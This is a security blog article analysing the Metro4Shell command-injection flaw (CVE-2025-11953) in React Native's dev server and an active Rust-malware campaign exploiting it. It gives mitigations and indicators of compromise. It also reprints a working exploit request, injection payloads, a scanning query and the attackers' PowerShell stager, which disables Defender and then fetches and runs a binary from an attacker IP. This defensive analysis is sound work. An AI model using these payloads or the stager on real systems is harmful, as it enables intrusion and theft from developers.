Metro4Shell: Hackers Exploit React Native CLI to Deploy Rust Malware on Developer Machines

Metro4Shell: Hackers Exploit React Native CLI to Deploy Rust Malware on Developer Machines

A critical remote code execution vulnerability in React Native's Metro development server is being actively exploited to compromise developer workstations with sophisticated Rust-based malware.

If you're a React Native developer who has ever run npm start or npx react-native start without thinking twice about it, this article is going to make you very uncomfortable. That innocent-looking development server you've been running? It might be broadcasting an open invitation to attackers across the entire internet.

Welcome to Metro4Shell — a vulnerability so dangerous that attackers started exploiting it weeks before the security community even acknowledged it was a real threat. Let's break down everything you need to know about CVE-2025-11953 and the active campaign targeting React Native developers right now.


Table of Contents

  1. TL;DR — What You Need to Know Right Now
  2. Understanding the Metro Development Server
  3. The Vulnerability Explained (CVE-2025-11953)
  4. How the Attack Works
  5. The Rust Malware: Technical Analysis
  6. Timeline of Exploitation
  7. Why This Matters: Developer Infrastructure as Attack Surface
  8. Indicators of Compromise (IOCs)
  9. How to Check If You're Vulnerable
  10. Mitigation and Remediation
  11. Lessons for Developers
  12. Conclusion

TL;DR — What You Need to Know Right Now

Affected Package: @react-native-community/cli-server-api (versions 4.8.0 through 20.0.0-alpha.2)

CVSS Score: 9.8 (Critical)

Impact: Remote unauthenticated attackers can execute arbitrary OS commands on your development machine by sending a single HTTP POST request

Currently Being Exploited: YES — since December 2025

Fix Available: Yes — update to version 20.0.0 or later

Immediate Workaround: Always run Metro with --host 127.0.0.1


Understanding the Metro Development Server

Before we dive into the vulnerability, let's understand what we're dealing with.

What is Metro?

Metro is the JavaScript bundler and development server that powers React Native applications during development. When you run commands like:

npm start
npx react-native start
npx react-native run-android
npx react-native run-ios

You're spinning up the Metro development server. This server is responsible for:

  • Bundling your JavaScript code for the mobile app
  • Hot reloading — pushing code changes to your running app instantly
  • Serving the JavaScript bundle to emulators or connected devices
  • Debugging — providing various development endpoints

The Metro server is part of the @react-native-community/cli package, which has approximately 2 million weekly downloads on npm. It's used by virtually every React Native developer working outside of frameworks like Expo.

The Deceptive Default Behavior

Here's where things get interesting — and dangerous. When you start Metro, you see a friendly message like:

Starting dev server on localhost:8081

"Localhost" suggests it's only accessible from your local machine, right? Wrong.

In reality, Metro binds to all network interfaces (0.0.0.0). This means your development server is accessible to:

  • Every device on your local network
  • The entire internet if you're not behind a firewall
  • Anyone who can route traffic to your IP

This isn't just a configuration oversight. It's a deliberate design choice that has exposed thousands of React Native developers to remote attack.

Why Would Metro Need External Access?

The reasoning seems reasonable on the surface: developers often test on physical devices connected via USB or over the local network. Having Metro accessible beyond localhost makes connecting devices easier.

But here's the thing — accessibility without authentication is a recipe for disaster, especially when that accessible service has endpoints that can execute commands.


The Vulnerability Explained (CVE-2025-11953)

Discovery

CVE-2025-11953 was discovered by the JFrog Security Research team and publicly disclosed in November 2025. The vulnerability exists in the @react-native-community/cli-server-api package, versions 4.8.0 through 20.0.0-alpha.2.

The Dangerous Endpoint: /open-url

Metro exposes several HTTP endpoints for development purposes. One of these is /open-url, designed to help developers open URLs in their development environment.

Here's the vulnerable code flow:

async function openURLMiddleware(req, res, next) {
  if (req.method === 'POST') {
    const {url} = req.body;
    
    await open(url);  // ← The problem
    
    // ...
  }
  next();
}

The open() function comes from the open npm package, which is designed to open URLs, files, and executables in the default application.

The Command Injection on Windows

On Windows, the open() function ultimately executes:

cmd /c start "" /b <target>

The start command in Windows cmd has a peculiar feature — it can execute arbitrary commands, not just open URLs. If an attacker sends:

{"url": "calc.exe"}

Windows will happily run Calculator. But it gets worse. Attackers can inject full command sequences:

{"url": "cmd /c whoami > C:\\temp\\pwned.txt"}

This results in the execution of:

cmd /c start "" /b cmd /c whoami > C:\temp\pwned.txt

Full, arbitrary command execution with no authentication required.

The Attack Surface on Linux and macOS

While Windows gets the worst of it with full command injection, Linux and macOS are not safe either.

On these platforms, open() uses:

  • macOS: The open command
  • Linux: The xdg-open command

While these don't directly allow command injection in the same way, they can still:

  1. Execute local files — If an attacker can drop a file first, they can execute it
  2. Trigger URI handlers — Malicious protocols could lead to code execution
  3. Open remote files — SMB or DAV shares could serve malicious executables

The JFrog researchers note that "arbitrary OS command execution on these platforms may be achievable with further research."

The Full Attack Request

A complete exploitation request looks like this:

POST /open-url HTTP/1.1
Host: target:8081
Content-Type: application/json
Content-Length: 4632

{"url":"cmd /c powershell -EncodedCommand <base64_encoded_payload>"}

That's it. One HTTP request. No authentication. No tokens. No handshake. Just pure, unfiltered command execution.


How the Attack Works

The active exploitation campaign observed by VulnCheck demonstrates a sophisticated, multi-stage attack chain designed for stealth and persistence.

Stage 1: Discovery and Initial Access

Attackers scan the internet for exposed Metro servers on port 8081. Internet-wide scanning data from Censys, Fofa, and ZoomEye shows approximately 3,500 exposed React Native Metro servers publicly accessible.

The reconnaissance is simple:

# Finding exposed Metro servers
title="React Native" && port=8081

Stage 2: Payload Delivery

Once an exposed server is identified, attackers send a POST request to /open-url containing a Base64-encoded PowerShell command:

POST /open-url HTTP/1.1
Host: <victim>:8081
User-Agent: curl/7.85.0
Content-type: application/json
Content-Length: 4632

{"url":"cmd /c powershell -EncodedCommand <massive_base64_blob>"}

Stage 3: Defense Evasion

The decoded PowerShell script immediately works to disable security controls:

$currentDirectory = $(Get-Location).Path;
$systemTempDirectory = [System.IO.Path]::GetTempPath();

# Disable Microsoft Defender for current directory
Add-MpPreference -ExclusionPath $currentDirectory 2> $null;

# Disable Microsoft Defender for temp directory
Add-MpPreference -ExclusionPath $systemTempDirectory 2> $null;

This is notable — the attackers anticipated endpoint security and built evasion into the initial payload. This isn't script kiddie behavior; this is operational tradecraft.

Stage 4: Payload Retrieval

After disabling defenses, the script establishes a raw TCP connection to attacker-controlled infrastructure:

$tcpClient = New-Object System.Net.Sockets.TcpClient;
$tcpClient.Connect("8.218.43.248", 60124);
$tcpStream = $tcpClient.GetStream();

# Request the Windows payload
$req = "GET /windows";
$reqb = [System.Text.Encoding]::UTF8.GetBytes($req);
$tcpStream.Write($reqb, 0, $reqb.Length);

Note: The attackers use raw TCP instead of HTTP. This evades many proxy-based security solutions and leaves less forensic evidence than standard HTTP downloads.

Stage 5: Malware Installation

The downloaded binary is written to the system's temp directory with a random filename:

$execp = Join-Path -Path $systemTempDirectory -ChildPath jzDjiqKU.exe;
$fileStream = [System.IO.File]::OpenWrite($execp);

$buffer = New-Object byte[] 4096;
while (($bytesRead = $tcpStream.Read($buffer, 0, $buffer.Length)) -gt 0) {
    $fileStream.Write($buffer, 0, $bytesRead);
}

Stage 6: Execution

Finally, the malware is executed with a large, encoded argument string:

Start-Process -FilePath "$execp" -ArgumentList '3qhAImaLj74zHdyyGDQFsNsfLLuFhWMhX7Crsbx...'

This argument appears to contain encoded configuration data or encryption keys for the malware.


The Rust Malware: Technical Analysis

The payload delivered by this campaign is particularly interesting — it's a Rust-based binary with notable anti-analysis features.

Why Rust?

Rust malware has been gaining popularity among threat actors for several reasons:

  1. Cross-platform compilation — Write once, compile for Windows, Linux, and macOS
  2. Memory safety — Fewer crashes mean more reliable implants
  3. Binary obfuscation — Rust binaries are naturally harder to reverse engineer
  4. Reduced signatures — Security tools have fewer Rust malware samples for detection
  5. Performance — Rust is fast, nearly matching C/C++

Payload Characteristics

Windows Payload:

  • Packed SHA-256: d8337df3aff749250557bf11daf069eb404cce0e6f4f91c6bd6d3f78aed6e9d6
  • Unpacked SHA-256: 7ecbb0cc88dfa5f187c209a28bd25e8e2d5113bb898a91ae273bca5983130886

Linux Payload:

  • Packed SHA-256: d1886b189474b02467ed2845df0938cec9785e99c3d4b04e0b7de3cafbee4182
  • Unpacked SHA-256: 6686d4baa9d483da27ba84dab85e96e42b790b608571de7bcb07a1fd7c975fe3

Anti-Analysis Features

The malware includes several techniques to hinder analysis:

  1. UPX Packing — The binaries are compressed with UPX (Ultimate Packer for eXecutables), adding a layer of obfuscation
  2. Runtime Checks — Anti-debugging and anti-sandbox checks are implemented
  3. Static Analysis Resistance — The Rust binary structure naturally complicates disassembly

Cross-Platform Capability

The same infrastructure hosting the Windows payload also served a corresponding "linux" binary, demonstrating that this campaign targets both platforms. This makes sense — React Native developers use macOS, Linux, and Windows, and the attackers want to maximize their reach.

What Does the Malware Do?

While complete analysis of the payload's functionality is ongoing, the sophisticated delivery chain and persistent infrastructure suggest this is likely:

  • Remote Access Trojan (RAT) — Providing persistent access to compromised systems
  • Credential Stealer — Developer machines often have cloud credentials, API keys, and code signing certificates
  • Backdoor — Enabling long-term access to development environments

Developer machines are high-value targets because they often contain:

  • Source code and intellectual property
  • Cloud provider credentials (AWS, GCP, Azure)
  • Code signing certificates
  • SSH keys
  • Database credentials
  • API tokens

Timeline of Exploitation

Understanding the timeline of this vulnerability reveals a disturbing gap between exploitation and awareness.

Date Event
November 2025 JFrog discovers and discloses CVE-2025-11953
November 2025 Multiple PoC exploits appear on GitHub
December 21, 2025 VulnCheck observes first in-the-wild exploitation
January 4, 2026 Same payloads delivered, attacks continue
January 21, 2026 Continued operational exploitation observed
Late January 2026 EPSS still rates exploitation probability at 0.00405 (low)
February 3, 2026 VulnCheck publishes exploitation report
February 5, 2026 CISA adds CVE-2025-11953 to KEV catalog
February 26, 2026 FCEB agency remediation deadline

The Awareness Gap

Here's what's disturbing: Over a month of active exploitation passed before there was broad public acknowledgment. During this time:

  • The EPSS (Exploit Prediction Scoring System) rated the exploitation probability as LOW
  • Most security teams hadn't prioritized patching
  • Developers continued running vulnerable Metro servers

As VulnCheck noted:

"As of late January, public discussion largely frames CVE-2025-11953 as a theoretical risk rather than an active intrusion vector. This disconnect is where defenders are most likely to be caught unprepared."

This is a pattern we see repeatedly — attackers move faster than defenders, and waiting for official acknowledgment is a losing strategy.


Why This Matters: Developer Infrastructure as Attack Surface

Metro4Shell isn't just another vulnerability. It represents a broader trend that security teams need to understand.

Development Infrastructure is Production Infrastructure

VulnCheck's most important observation was:

"Development infrastructure becomes production infrastructure the moment it is reachable, regardless of intent."

This is a fundamental shift in how we need to think about security. The traditional model of "development is internal, production is external" is dead. In the era of:

  • Remote work
  • Cloud-based development
  • Coffee shop coding
  • Home networks with IoT devices

Every development server is potentially a production server — production in terms of security risk, even if not in terms of serving users.

The Supply Chain Angle

Compromising developer machines is the first step in supply chain attacks. Once attackers have access to a developer's workstation, they can:

  1. Inject backdoors into source code — Code that eventually ships to millions of users
  2. Steal code signing certificates — Allowing them to sign malicious updates
  3. Access CI/CD pipelines — Compromising the build process itself
  4. Harvest credentials — For cloud infrastructure, production databases, and other systems

This is how attacks like SolarWinds, Codecov, and countless others begin — with a compromised developer.

The npm Ecosystem Risk

The affected package has 2 million weekly downloads. That's not 2 million React Native developers — that's 2 million installations per week, representing a massive attack surface.

npm packages are particularly vulnerable because:

  • They're installed with minimal vetting
  • Dependencies of dependencies create deep, opaque chains
  • Developers trust the ecosystem implicitly
  • Many packages run arbitrary code at install time

Exposed Servers Are Not Theoretical

This isn't a hypothetical risk. Internet scanning shows ~3,500 exposed Metro servers right now. These are:

  • Corporate developers on office networks
  • Remote workers on home connections
  • Developers at coffee shops and co-working spaces
  • CI/CD build servers with public IPs

Each one is a potential entry point.


Indicators of Compromise (IOCs)

If you're doing incident response or threat hunting, here are the indicators associated with this campaign:

Exploitation Source IPs

These IP addresses have been observed sending exploitation attempts:

  • 65.109.182.231
  • 223.6.249.141
  • 134.209.69.155

Payload Hosting Infrastructure

These IPs hosted the malware payloads:

  • 8.218.43.248:60124 (Windows payload)
  • 47.86.33.195:60130 (Windows and Linux payloads)

Malware Hashes

Windows Payloads:

Type SHA-256
UPX-packed d8337df3aff749250557bf11daf069eb404cce0e6f4f91c6bd6d3f78aed6e9d6
Unpacked 7ecbb0cc88dfa5f187c209a28bd25e8e2d5113bb898a91ae273bca5983130886

Linux Payloads:

Type SHA-256
UPX-packed d1886b189474b02467ed2845df0938cec9785e99c3d4b04e0b7de3cafbee4182
Unpacked 6686d4baa9d483da27ba84dab85e96e42b790b608571de7bcb07a1fd7c975fe3

Behavioral Indicators

Look for:

  1. Raw TCP connections to suspicious ports:
    • Port 60124
    • Port 60130
  2. Unexpected executables in temp directories:
    • Random 8-character names like jzDjiqKU.exe
  3. HTTP POST requests to port 8081 with /open-url path

Base64-encoded PowerShell execution:

powershell -EncodedCommand

PowerShell adding Defender exclusions:

Add-MpPreference -ExclusionPath

Network Detection

Snort/Suricata rules to detect exploitation attempts should look for:

  • POST requests to /open-url endpoint
  • JSON body containing cmd or powershell
  • Destination port 8081

How to Check If You're Vulnerable

Step 1: Check Your Project Dependencies

Navigate to your React Native project and run:

cd <Your Project Folder>
npm list @react-native-community/cli-server-api

If you see a version between 4.8.0 and 20.0.0-alpha.2, you're vulnerable.

Step 2: Check Global Installations

You might have the package installed globally:

npm list -g @react-native-community/cli-server-api

Step 3: Check for Network Exposure

While Metro is running, check what interfaces it's bound to:

Linux/macOS:

netstat -tlnp | grep 8081
# or
ss -tlnp | grep 8081

Windows:

netstat -ano | findstr :8081

If you see 0.0.0.0:8081 instead of 127.0.0.1:8081, your server is externally accessible.

Step 4: Test External Access

From another device on your network:

curl http://<dev-machine-ip>:8081/status

If you get a response, you're exposed.

Are You Using a Vulnerable Command?

These commands start vulnerable Metro servers:

npm start
npm run start
npm run android
npm run ios
npm run windows
npm run macos
npx react-native start
npx react-native run-android
npx react-native run-ios
npx react-native run-windows
npx react-native run-macos
npx @react-native-community/cli start

If you use any of these without the --host 127.0.0.1 flag, you're potentially exposed.


Mitigation and Remediation

Immediate Actions

1. Update the vulnerable package:

npm update @react-native-community/cli-server-api

Ensure you're on version 20.0.0 or later.

2. Force localhost binding:

If you can't update immediately, always start Metro with the host flag:

npx react-native start --host 127.0.0.1
npx @react-native-community/cli start --host 127.0.0.1

3. Update your npm scripts:

In your package.json, update the start script:

{
  "scripts": {
    "start": "react-native start --host 127.0.0.1"
  }
}

Network-Level Protections

1. Firewall Rules:

Block external access to port 8081:

# Linux (iptables)
iptables -A INPUT -p tcp --dport 8081 -j DROP
iptables -A INPUT -p tcp --dport 8081 -s 127.0.0.1 -j ACCEPT

# Windows Firewall
netsh advfirewall firewall add rule name="Block Metro External" dir=in action=block protocol=tcp localport=8081

2. Network Segmentation:

Developer machines should be on isolated network segments with restricted outbound access.

Detection and Monitoring

1. Monitor for suspicious PowerShell activity:

# Look for Defender exclusion additions
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'} |
  Where-Object { $_.Message -like '*Add-MpPreference*' }

2. Check for unknown temp directory executables:

Get-ChildItem $env:TEMP -Filter *.exe |
  Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-7) }

3. Review network connections:

# Linux
ss -tlnp | grep -E '8081|60124|60130'

# Windows
netstat -ano | findstr /R "8081 60124 60130"

Incident Response

If you suspect compromise:

  1. Isolate the affected machine — Disconnect from network immediately
  2. Preserve evidence — Image the disk before remediation
  3. Check for persistence — Review scheduled tasks, startup items, services
  4. Rotate credentials — All credentials on the affected machine should be considered compromised
  5. Audit source code — Check for unauthorized commits or changes
  6. Review CI/CD — Verify build pipeline integrity

Lessons for Developers

Metro4Shell teaches us several important lessons about developer security.

1. Never Trust "Development Only" Tools

The fact that something is labeled "development" doesn't mean it's safe to expose. Development tools are:

  • Written with less security scrutiny than production code
  • Often designed for convenience over security
  • Running with developer privileges (often admin/root)
  • Connected to sensitive resources (code, credentials, infrastructure)

2. Verify Network Bindings

Always check what interfaces your development servers bind to. The displayed message ("localhost") may not match reality (0.0.0.0).

3. Update Dependencies Regularly

The fix for CVE-2025-11953 was available quickly, but many developers don't have automated dependency update processes. Tools like:

  • Dependabot
  • Renovate
  • npm audit

Should be part of every developer's workflow.

4. Use Allowlists for Outbound Connections

Developer machines should have restricted outbound network access. If your machine can connect to arbitrary IPs on arbitrary ports, an attacker's job is much easier.

5. Endpoint Security Matters on Dev Machines

The attackers in this campaign specifically disabled Microsoft Defender. This shows they expected security tools to be present.

Ensure developer machines have:

  • EDR solutions
  • Anti-tampering protections
  • Behavioral monitoring
  • Network-level security

6. Don't Wait for KEV/CISA/EPSS

This vulnerability was being exploited for over a month before CISA added it to the KEV catalog. If you're only patching KEV-listed vulnerabilities, you're already behind.

Build a vulnerability management process that:

  • Prioritizes based on exploitability, not just severity
  • Monitors for PoC releases
  • Responds to vendor advisories quickly
  • Doesn't wait for broad consensus

Conclusion

Metro4Shell (CVE-2025-11953) is a wake-up call for React Native developers and the broader software development community. The vulnerability demonstrates that:

  1. Development tools are legitimate attack vectors — Not theoretical, but actively exploited
  2. Attackers are fast — Exploitation began weeks before broad acknowledgment
  3. Developer machines are high-value targets — Access to one developer can compromise entire organizations
  4. Security assumptions are dangerous — "localhost" doesn't mean what you think it means

If you're a React Native developer, update immediately. If you're a security team, ensure developer infrastructure is part of your attack surface management program.

The days of treating development environments as inherently safe are over. Every reachable service is a potential entry point, regardless of whether it's labeled "production" or "development."

Stay safe. Update your dependencies. And for the love of security, bind your dev servers to localhost.


References

Read more